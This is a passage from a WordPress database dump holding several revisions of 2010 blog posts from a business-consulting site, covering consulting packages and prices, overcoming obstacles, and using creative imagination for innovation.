ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-24 15:13:31', '2010-04-24 22:13:31', '', 138, 'http://www.whitehotcenter.com/2010/04/24/138-revision-70/', 0, 'revision', '', 0),
(769, 2, '2010-04-24 15:10:44', '2010-04-24 22:10:44', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provides guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing strategy and creative consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda La Z Boy, and Volkswagan USA. I have also worked with dozens of mid-size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of successful business building expertise to creative entrepreneurs and solo professionals who want insight, inspiration and tools to take their business and their entire life to the next level.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-24 15:10:44', '2010-04-24 22:10:44', '', 138, 'http://www.whitehotcenter.com/2010/04/24/138-revision-69/', 0, 'revision', '', 0);
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(770, 2, '2010-04-10 12:38:34', '2010-04-10 19:38:34', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\r\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-8', '', '', '2010-04-10 12:38:34', '2010-04-10 19:38:34', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-8/', 0, 'revision', '', 0),
(772, 2, '2010-04-26 14:44:03', '2010-04-26 21:44:03', '<img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />\r\n<h2>It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  Of course, you need to have a compelling vision of what you want to create in your business. When you visualize an idea, what you are really doing is accessing the rich resources of your sub-conscious mind. When you believe an idea is possible – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your products and services that differentiate you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'publish', 'open', 'open', '', 'use-your-creative-imagination-to-drive-innovation', '', '', '2010-07-15 07:58:40', '2010-07-15 14:58:40', '', 0, 'http://www.whitehotcenter.com/?p=772', 0, 'post', '', 2),
(773, 2, '2010-04-26 14:15:54', '2010-04-26 21:15:54', '', 'seeingisbelieving', 0, '', 'inherit', 'open', 'open', '', 'seeingisbelieving', '', '', '2010-04-26 14:15:54', '2010-04-26 21:15:54', '', 772, 'http://www.whitehotcenter.com/wp-content/uploads/2010/04/seeingisbelieving.gif', 0, 'attachment', 'image/gif', 0),
(774, 2, '2010-04-26 14:20:15', '2010-04-26 21:20:15', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="515" height="256" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived.  Now that’s creativity! When I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business.</h2>\nNaturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\n\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\n\n<strong>Your creative imagination is visual.</strong>\n\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.\n\nWhen you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. To be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it. If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity to provide value where others may not. You have to believe the idea, and when you do– you will see it!\n\n<strong>Intuition is the white hot center of your creative power.</strong>\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\n\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\n\n<strong>Creative ideas don’t have to be original.</strong>\nMany entrepreneurs put undue pressure on themselves to develop original ideas. In my experience, there is nothing new under the sun. Every ground-breaking innovation that ever was came as a result of what came before it.  For example, someone invented windshield wipers because people wanted to drive their car in the rain. Then a few years later, someone had the idea that intermittent wiper blades would be a better solution. Many times useful ideas are incremental.  You don’t have to create a revolution to create value. The point is every creative idea always builds on something that came before it.  Originality, in my opinion, is overrated and often gets in the way of innovation and value creation.\n\n<strong>Creative ideas don’t have to be perfect.</strong>\n\nNothing impedes progress more than the pursuit of perfection. Many entrepreneurs needlessly worry that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve.\n\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\n\nIdentify opportunities in the market that you have not noticed before.\n\nDiscover profitable niche markets where your capabilities can serve people better.\n\nDiscover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.\n\nDiscover new customer applications for your products or services.\n\nCreate a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.\n\nCreate compelling marketing ideas to dramatize the use of your product or service.\n\nProvide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision', '', '', '2010-04-26 14:20:15', '2010-04-26 21:20:15', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision/', 0, 'revision', '', 0),
(775, 2, '2010-04-26 14:22:15', '2010-04-26 21:22:15', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="515" height="256" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived.  Now that’s creativity! When I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business.</h2>\nNaturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\n\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\n\n<strong>Your creative imagination is visual.</strong>\n\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.\n\nWhen you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. To be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it. If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity to provide value where others may not. You have to believe the idea, and when you do– you will see it!\n\n<strong>Intuition is the white hot center of your creative power.</strong>\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\n\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\n\n<strong>Creative ideas don’t have to be original.</strong>\nMany entrepreneurs put undue pressure on themselves to develop original ideas. In my experience, there is nothing new under the sun. Every ground-breaking innovation that ever was came as a result of what came before it.  For example, someone invented windshield wipers because people wanted to drive their car in the rain. Then a few years later, someone had the idea that intermittent wiper blades would be a better solution. Many times useful ideas are incremental.  You don’t have to create a revolution to create value. The point is every creative idea always builds on something that came before it.  Originality, in my opinion, is overrated and often gets in the way of innovation and value creation.\n<h2><span style="color: #808080;">Creative ideas don’t have to be perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\nMany entrepreneurs needlessly worry that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve.\n\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\n\nIdentify opportunities in the market that you have not noticed before.\n\nDiscover profitable niche markets where your capabilities can serve people better.\n\nDiscover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.\n\nDiscover new customer applications for your products or services.\n\nCreate a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.\n\nCreate compelling marketing ideas to dramatize the use of your product or service.\n\nProvide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-2', '', '', '2010-04-26 14:22:15', '2010-04-26 21:22:15', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-2/', 0, 'revision', '', 0),
(776, 2, '2010-04-26 14:22:19', '2010-04-26 21:22:19', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived.  Now that’s creativity! When I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business.</h2>\r\nNaturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\r\n\r\n<strong>Your creative imagination is visual.</strong>\r\n\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.\r\n\r\nWhen you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. To be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it. If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity to provide value where others may not. You have to believe the idea, and when you do– you will see it!\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n\r\n<strong>Creative ideas don’t have to be original.</strong>\r\nMany entrepreneurs put undue pressure on themselves to develop original ideas. In my experience, there is nothing new under the sun. Every ground-breaking innovation that ever was came as a result of what came before it.  For example, someone invented windshield wipers because people wanted to drive their car in the rain. Then a few years later, someone had the idea that intermittent wiper blades would be a better solution. Many times useful ideas are incremental.  You don’t have to create a revolution to create value. The point is every creative idea always builds on something that came before it.  Originality, in my opinion, is overrated and often gets in the way of innovation and value creation.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs needlessly worry that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\nIdentify opportunities in the market that you have not noticed before.\r\n\r\nDiscover profitable niche markets where your capabilities can serve people better.\r\n\r\nDiscover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.\r\n\r\nDiscover new customer applications for your products or services.\r\n\r\nCreate a distinctive brand identity and packaging for your business and products that differentiates you from your competitors.\r\n\r\nCreate compelling marketing ideas to dramatize the use of your product or service.\r\n\r\nProvide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-3', '', '', '2010-04-26 14:22:19', '2010-04-26 21:22:19', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-3/', 0, 'revision', '', 0),
(777, 2, '2010-04-26 14:22:28', '2010-04-26 21:22:28', '<h2><img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived.  Now that’s creativity! When I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business.</h2>\r\nNaturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business. Using your creative imagination is critical to your growth and success.\r\n\r\n<strong>Your creative imagination is visual.</strong>\r\n\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  You have to have a compelling vision of what you want to create in your business.\r\n\r\nWhen you visualize an idea, you are really accessing the rich resources of your sub-conscious mind. To be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your 